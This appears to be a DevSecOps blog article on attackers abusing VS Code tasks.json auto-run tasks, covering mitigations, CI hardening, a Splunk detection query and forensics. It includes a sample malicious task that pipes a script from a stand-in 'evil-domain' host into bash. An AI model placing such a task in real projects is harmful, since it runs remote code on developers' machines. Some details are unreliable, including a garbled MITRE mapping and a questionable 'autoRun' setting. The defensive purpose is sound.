North Korean Hackers Abuse VS Code Auto-Run Tasks to Deploy StoatWaffle Malware

VS Code tasks.json Supply Chain Abuse — Detection and Emergency Mitigation
Meta Description:
Real-world guidance for developers and SREs facing supply chain malware risk via VS Code tasks.json abuse: detection, forensic collection, and actionable mitigation.
Slug:
vs-code-tasksjson-supply-chain-malware-mitigation
Opinion from Sam Hauser
Principal DevSecOps Engineer, 21 years in security at Fortune 100s.
Author of incident report series on IDE supply chain compromises.
LinkedIn | GitHub
Disclosure: No current commercial ties to cited vendors. This analysis is my own.
Last revised: 2024-06-10. Updates here.
TL;DR
- Attack vector: Reported abuse of VS Code's
tasks.jsonby threat actors (see Microsoft Security Advisory, June 2024). - Who’s affected: Devs, SREs, engineering teams using VS Code in CI/CD or local workstation builds.
- Immediate risk: Workspace trust settings and overprivileged build agents enable remote code execution and lateral movement via IDE config files.
- Action items:
- Disable auto-run tasks and restrict workspace trust.
- Rotate exposed credentials and isolate build runners.
- Scan tasks.json and dependency chains for unauthorized modifications.
Impact & Scope
If you're reading this, you probably maintain code or manage build pipelines. Recent supply chain attacks piggyback on IDE configuration files—especially tasks.json in VS Code—making toolchains the soft underbelly of your stack. Threat intel sources, including Microsoft and GitHub Security Lab, link observed attacks to suspected North Korean activity (see attribution caveats in the section below). Target: your credentials, your production workflows, your dev experience.
Further reading: VS Code workspace trust doc, CISA alert AA24-138A.
What We Know / What We Don’t Know
- Confirmed:
tasks.jsonis a vector for remote code execution.- Abuse of VS Code workspace trust settings enables attack.
- Threat actors have weaponized IDE configs in both targeted and opportunistic campaigns.
- Unconfirmed:
- North Korean attribution in tasks.json campaigns relies on vendor heuristics and is not definitively proven.
- Scope of compromised organizations may expand as additional reports surface.
Sources:
How the Attack Works
Threat Model: Workspace Trust & tasks.json
- Attackers slip malicious commands into
tasks.json, triggered by unwary developers accepting workspace trust. - Auto-run tasks exploit VS Code’s default permissive settings to execute code on host machines or within build containers.
- Common behaviors observed:
- Spawning child processes from the editor (MITRE ATT&CK: T1059 — Command & Scripting Interpreter).
- Credential exfiltration via post-build or pre-task triggers.
- Lateral movement through shared build agents (AT&T: T1027 — Obfuscated Files or Information).
Citations: Microsoft, CISA, MITRE ATT&CK, GitHub Security Lab
Root Causes: Workspace Trust, Overprivileged Runners, Secrets in Code
Developers Keep Trusting Defaults
Root cause #1: workspace trust prompts ignored, or workflows scripted to always grant trust.
Root cause #2: build or CI runners configured with persistent root permissions.
Root cause #3: credentials—cloud, API, SSH—embedded in tasks, repo configs, or environment.
I've repeatedly seen teams set up "quick dev onboarding" tasks that auto-execute scripts, sometimes copy-pasted from blog posts or extension examples. Result: blind execution of anything in the workspace, including poisoned build steps.
Unsafe Example (Redacted):
{
"version": "2.0.0",
"tasks": [
{
"label": "build",
"type": "shell",
"command": "curl https://evil-domain.example / script.sh | bash",
"problemMatcher": []
}
]
}
Tasks like this bypass all guardrails if workspace trust is enabled and CI/CD agents run as root.
Immediate Emergency Checklist
-
Disable auto-run tasks
- Set
"autoRun": falsein tasks.json or enforce via workspace policies. - Official guide.
- Set
-
Enforce workspace trust
- Use workspace trust enforcement and restrict trusted sources.
-
Rotate credentials
- Revoke, reissue, and tightly scope API keys, cloud credentials, and tokens exposed or used in build tasks.
-
Isolate build agents
- Move to ephemeral runners (e.g., GitHub Actions with short-lived jobs).
- Remove persistent root/administrator users.
- Audit IAM roles to enforce least privilege.
-
Scan repositories and IDE configs
- Search for recent changes to tasks.json and suspicious scripts.
- Inspect workspace trust toggles and audit extension installation.
-
Revoke suspicious tokens
- Use cloud provider and platform tooling to invalidate potentially compromised access.

Safe Mitigation Steps for VS Code
-
Restrict extension execution:
- Disable automatic extension installs; whitelist only reviewed extensions.
- Extension security considerations.
-
Disable auto-run of tasks:
- Use workspace settings to require manual task execution.
-
Enforce trusted devcontainers:
- Adopt DevContainers with signed configuration and verified images.
CI/CD Hardening Especially for Cloud
-
Remove root/agent permissions:
- Use IAM roles scoped to individual jobs, not global agents.
- Require ephemeral runners, not stateful containers.
-
Adopt OIDC for cloud credentials:
- Prefer identity-based token retrieval, no hardcoded keys.
-
Token rotation & SBOM integration:
Supply Chain Mitigations
- Dependency scanning as pipeline default
- Automated artifact signing
- Sign all container images, code artifacts, and publishable binaries.
Detection & Monitoring: What to Watch
- SIEM indicators:
- Unexpected child processes launched by code editors (e.g., VS Code launching curl/wget).
- Outbound network connections originating from IDE process space.
- Sudden modifications to tasks.json or workspace trust settings.
Example detection query (Splunk):
index=sec_logs process_name="Code.exe" OR process_name="code"
| where parent_process="Code.exe" AND command_line="curl*"
| stats count by user, src_ip, command_line
Example endpoint rule:
- Alert on any changes to tasks.json files in monitored repos (audit logs enabled).
Post-Incident Forensics Checklist
-
Artifact collection:
- Preserve IDE logs, tasks.json snapshots, CI build logs, temp build containers.
- Capture workspace trust setting toggles.
-
Recommended fields:
- Editor version, extension list, workspace trust state, command history.
-
Chain of custody:
- Record hashes of configs and build artifacts before remediation.
Further Reading & References
- Microsoft Security Blog: VS Code tasks.json Abuse, Jun 2024
- CISA AA24-138A Alert
- MITRE ATT&CK Techniques
- GitHub Security Lab - IDE Supply Chain Analysis
- VS Code workspace trust documentation
- Sigstore and artifact signing
- DevContainers configs and guidelines
Cynical Outlook
The IDE supply chain isn’t going away—too many teams still treat dev environments as sandbox playgrounds. Next time your build pipeline blows up, ask yourself: did you harden your configs, or did you just hope for the best?